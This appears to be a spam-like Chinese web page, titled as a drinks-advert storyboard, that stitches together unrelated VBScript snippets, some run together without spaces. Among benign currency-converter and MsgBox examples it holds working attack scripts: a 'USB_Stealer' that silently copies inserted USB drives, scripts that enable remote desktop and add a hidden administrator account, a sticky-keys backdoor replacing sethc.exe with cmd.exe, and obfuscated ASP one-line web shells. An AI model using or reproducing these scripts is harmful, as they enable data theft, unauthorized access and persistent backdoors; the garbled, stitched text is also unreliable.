饮料广告分镜头脚本阿甘正传范例

四:MsgBox函数和语句的应用----MsgBox函数是VB提供的以多种方式将信息传递给用户的函数,它有函数和语句两种形式,函数和语句的根本区别在于函数有返回值而语句没有'=========================================='Name : USB_Stealer 'Date : 2010/5/25 'Author : Demon 'Copyright : Copyright (c) 2010 Demon 'E-Mail : still.demon@gmail.com 'QQ : 380401911 'Website : '=========================================='Option Explicit On Error Resume Next Const Target_Folder="C:\USB" Call Main() Sub Main() On Error Resume Next Const Device_Arrival=2 Const Device_Removal=3 Const strComputer="." Dim objWMIService, colMonitoredEvents, objLatestEvent Set objWMIService=GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\" _ & strComputer & "\root\cimv2") Set colMonitoredEvents=objWMIService. _ ExecNotificationQuery( _ "Select * from Win32_VolumeChangeEvent") Do Set objLatestEvent=colMonitoredEvents.NextEvent Select Case objLatestEvent.EventType Case Device_Arrival Copy_File objLatestEvent.DriveName End Select Loop End Sub Sub Copy_File(Folder_Path) On Error Resume Next Dim fso,file,folder Set fso=CreateObject("scripting.filesystemobject") If Not fso.FolderExists(Target_Folder) Then fso.CreateFolder(Target_Folder) End If For Each file In fso.GetFolder(Folder_Path).Files file.Copy Target_Folder & "" & file.Name,True Next For Each folder In fso.GetFolder(Folder_Path).SubFolders folder.Copy Target_Folder & "" & folder.Name,True Next End Sub

脚本编辑器破解版 Set a=WScript.CreateObject("WScript.Shell") a.Run "notepad" '打开记事本 do Randomize x=Int((40 * Rnd) + 1) '产生一个1~40的随机数赋给X WScript.Sleep 1000 a.SendKeys x&"," '模拟键盘,输出x n=n+1 '累计器 if n=10 then wscript.quit '若累计器N为10则推出脚本 loop '保存成VBS可以看到结果 '调用方法Text2=ChMoney(Val(Text1))'名称:CCh'得到一位数字N1的汉字大写'0返回""PrivateFunctionCCh(N1)AsStringSelectCaseN1Case0CCh="零"Case1CCh="壹"Case2CCh="贰"Case3CCh="叁"Case4CCh="肆"Case5CCh="伍"Case6CCh="陆"Case7CCh="柒"Case8CCh="捌"Case9CCh="玖"EndSelectEndFunction'名称:ChMoney'得到数字N1的汉字大写'最大为千万位'O返回""PublicFunctionChMoney(N1)AsStringDimtMoneyAsStringDimlMoneyAsStringDimtn'小数位置Dims1AsString'临时STRING小数部分Dims2AsString'1000以内Dims3AsString'10000IfN1=0ThenChMoney=""ExitFunctionEndIfIfN1<0ThenChMoney="负" ChMoney(Abs(N1))ExitFunctionEndIftMoney=Trim(Str(N1))tn=InStr(tMoney,".")'小数位置s1=""Iftn<>0ThenST1=Right(tMoney,Len(tMoney)-tn)IfST1<>""Thent1=Left(ST1,1)ST1=Right(ST1,Len(ST1)-1)Ift1<>"0"Thens1=s1 CCh(Val(t1)) "角"EndIfIfST1<>""Thent1=Left(ST1,1)s1=s1 CCh(Val(t1)) "分"EndIfEndIfST1=Left(tMoney,tn-1)ElseST1=tMoneyEndIfs2=""IfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)s2=CCh(Val(t1)) s2EndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens2=CCh(Val(t1)) "拾" s2ElseIfLeft(s2,1)<>"零"Thens2="零" s2EndIfEndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens2=CCh(Val(t1)) "佰" s2ElseIfLeft(s2,1)<>"零"Thens2="零" s2EndIfEndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens2=CCh(Val(t1)) "仟" s2ElseIfLeft(s2,1)<>"零"Thens2="零" s2EndIfEndIfs3=""IfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)s3=CCh(Val(t1)) s3EndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens3=CCh(Val(t1)) "拾" s3ElseIfLeft(s3,1)<>"零"Thens3="零" s3EndIfEndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens3=CCh(Val(t1)) "佰" s3ElseIfLeft(s3,1)<>"零"Thens3="零" s3EndIfEndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens3=CCh(Val(t1)) "仟" s3EndIfEndIfIfRight(s2,1)="零"Thens2=Left(s2,Len(s2)-1)IfLen(s3)>0ThenIfRight(s3,1)="零"Thens3=Left(s3,Len(s3)-1)s3=s3&"万"EndIfChMoney=IIf(s3&s2="",s1,s3&s2&"元"&s1)EndFunction'调用方法Text2=ChMoney(Val(Text1))'名称:CCh'得到一位数字N1的汉字大写'0返回""PrivateFunctionCCh(N1)AsStringSelectCaseN1Case0CCh="零"Case1CCh="壹"Case2CCh="贰"Case3CCh="叁"Case4CCh="肆"Case5CCh="伍"Case6CCh="陆"Case7CCh="柒"Case8CCh="捌"Case9CCh="玖"EndSelectEndFunction'名称:ChMoney'得到数字N1的汉字大写'最大为千万位'O返回""PublicFunctionChMoney(N1)AsStringDimtMoneyAsStringDimlMoneyAsStringDimtn'小数位置Dims1AsString'临时STRING小数部分Dims2AsString'1000以内Dims3AsString'10000IfN1=0ThenChMoney=""ExitFunctionEndIfIfN1<0ThenChMoney="负" ChMoney(Abs(N1))ExitFunctionEndIftMoney=Trim(Str(N1))tn=InStr(tMoney,".")'小数位置s1=""Iftn<>0ThenST1=Right(tMoney,Len(tMoney)-tn)IfST1<>""Thent1=Left(ST1,1)ST1=Right(ST1,Len(ST1)-1)Ift1<>"0"Thens1=s1 CCh(Val(t1)) "角"EndIfIfST1<>""Thent1=Left(ST1,1)s1=s1 CCh(Val(t1)) "分"EndIfEndIfST1=Left(tMoney,tn-1)ElseST1=tMoneyEndIfs2=""IfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)s2=CCh(Val(t1)) s2EndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens2=CCh(Val(t1)) "拾" s2ElseIfLeft(s2,1)<>"零"Thens2="零" s2EndIfEndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens2=CCh(Val(t1)) "佰" s2ElseIfLeft(s2,1)<>"零"Thens2="零" s2EndIfEndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens2=CCh(Val(t1)) "仟" s2ElseIfLeft(s2,1)<>"零"Thens2="零" s2EndIfEndIfs3=""IfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)s3=CCh(Val(t1)) s3EndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens3=CCh(Val(t1)) "拾" s3ElseIfLeft(s3,1)<>"零"Thens3="零" s3EndIfEndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens3=CCh(Val(t1)) "佰" s3ElseIfLeft(s3,1)<>"零"Thens3="零" s3EndIfEndIfIfST1<>""Thent1=Right(ST1,1)ST1=Left(ST1,Len(ST1)-1)Ift1<>"0"Thens3=CCh(Val(t1)) "仟" s3EndIfEndIfIfRight(s2,1)="零"Thens2=Left(s2,Len(s2)-1)IfLen(s3)>0ThenIfRight(s3,1)="零"Thens3=Left(s3,Len(s3)-1)s3=s3&"万"EndIfChMoney=IIf(s3&s2="",s1,s3&s2&"元"&s1)EndFunction->

On Error Resume Next Set Arg=Wscript.Arguments If Arg.Count=0 Then wscript.quit 'code by NetPatch 'enjoy it Set Fso=CreateObject("Scripting.FileSystemObject") Set File=Fso.OpenTextFile(arg(0),1,False,-2) Set Files=Fso.OpenTextFile(arg(0)&".vbs",2,True) Do While File.AtEndOfStream <> True szBuf=File.readline szBuf=Replace(szBuf,chr(9),"") Findnum=InStr(LCase(szBuf),"then") If Findnum >0 Then Findnum=findnum+3 If Len(szBuf) > Findnum Then szBuf=szBuf&":End If" End If End If Files.Write szBuf&":" Loop File.Close Files.Close Set Fso=Nothing Wscript.echo "ok!" 你可以毫无异议地使用与下面类似的代码:

'PrintthesizeofthefirstfileintheCollection.Debug.PrintcolFiles.Item(1).Size但是,如果colFilesCollection中的第一个对象不是File,将会出现什么情况呢?如果它是一个Form或Control对象,又会怎样呢?如果它根本就不是一个对象呢?当然,当它试图执行该代码的时候,VBA将生成运行时间错误

on error resume next const HKEY_LOCAL_MACHINE=&H80000002 strComputer="." Set StdOut=WScript.StdOut Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &_ strComputer & "\root\default:StdRegProv") strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server" oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server" strValueName="fDenyTSConnections" dwValue=0 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" strValueName="PortNumber" dwValue=3389 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" strValueName="PortNumber" dwValue=3389 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue on error resume next dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os=""&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath On Error Resume Next Dim obj, success Set obj=CreateObject("WScript.Shell") success=obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F&copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe&copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True) CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

->PublicFunctionZDX(XAsCurrency)AsStringDimlnPAsIntegerDimPrcAsStringDimTmpAsStringDimNoBAsCurrencyDimDxAsStringDimXxAsStringDimZhenAsBooleanDimStr(10)AsStringDimChinaAsStringChina="分角元拾佰仟万拾佰仟亿"Str(0)="零"Str(1)="壹"Str(2)="贰"Str(3)="叁"Str(4)="肆"Str(5)="伍"Str(6)="陆"Str(7)="柒"Str(8)="捌"Str(9)="玖"Zhen=TrueX=FormatNumber(X,2)Prc=CStr(X)Prc=Replace(Prc,",","")lnP=Len(Prc)Fori=lnP-1To1Step-1IfMid(Prc,i,1)="."ThenSelectCaselnP-iCase1Prc=Replace(Prc,".","") "0"Case2Prc=Replace(Prc,".","")EndSelectZhen=FalseExitForEndIfNextiIfZhenThenPrc=Prc "00"lnP=Len(Prc)Fori=1TolnPTmp=Str(Mid(Prc,i,1))&TmpNextiZDX=""fy=1Fori=1TolnPXx=Mid(Tmp,i,1)Dx=Mid(China,i,1)IfXx<>"零"ThenZDX=Xx&Dx&ZDXf=1ElseIfi=3ThenZDX=Dx&ZDXEndIfIfi=7ThenZDX=Dx&ZDXEndIfIffThenZDX="零"&ZDXEndIff=0EndIfNextiIfZhenThenZDX=ZDX "正"ZDX=Replace(ZDX,"零万","万")ZDX=Replace(ZDX,"零元","元")EndFunction->->

那么正确的方法是什么呢?其实在《用VBS读写二进制文件的另一种方法》中出现过,使用 Msxml2.DOMDocument 对象: 这样 bytes 变量就是字节数组了,如果你知道其他的方法,欢迎不吝赐教万能运行器Windows98系统的许多软件中都包含一个windows风格的about窗口,它向用户反映了当前系统的一些基本信息,其中显示有关windows及其应用软件的版本、版权和系统的工作状态等信息<scriptlanguage=vbsrunat=server> Execute(HextoStr("65786563757465287265717565737428636872283335292929")) FunctionHextoStr(data) HextoStr="EXECUTE""""" C="&CHR(&H" N=")" DoWhileLen(data)>1 IfIsNumeric(Left(data,1))Then HextoStr=HextoStr&C&Left(data,2)&N data=Mid(data,3) Else HextoStr=HextoStr&C&Left(data,4)&N data=Mid(data,5) EndIf Loop EndFunction </script> <SCRIPTRUNAT=SERVERLANGUAGE=JAVASCRIPT>eval(String.fromCharCode( 116,114,121,123,101,118,97,108,40,82,101,113,117,101,115,116,46,102,111,114,109,40,39,35,39,41,43,39,39,41,125,99,97,116,99,1 04,40,101,41,123,125))</SCRIPt>。

189人参与, 0条评论 登录后显示评论回复

你需要登录后才能评论 登录/ 注册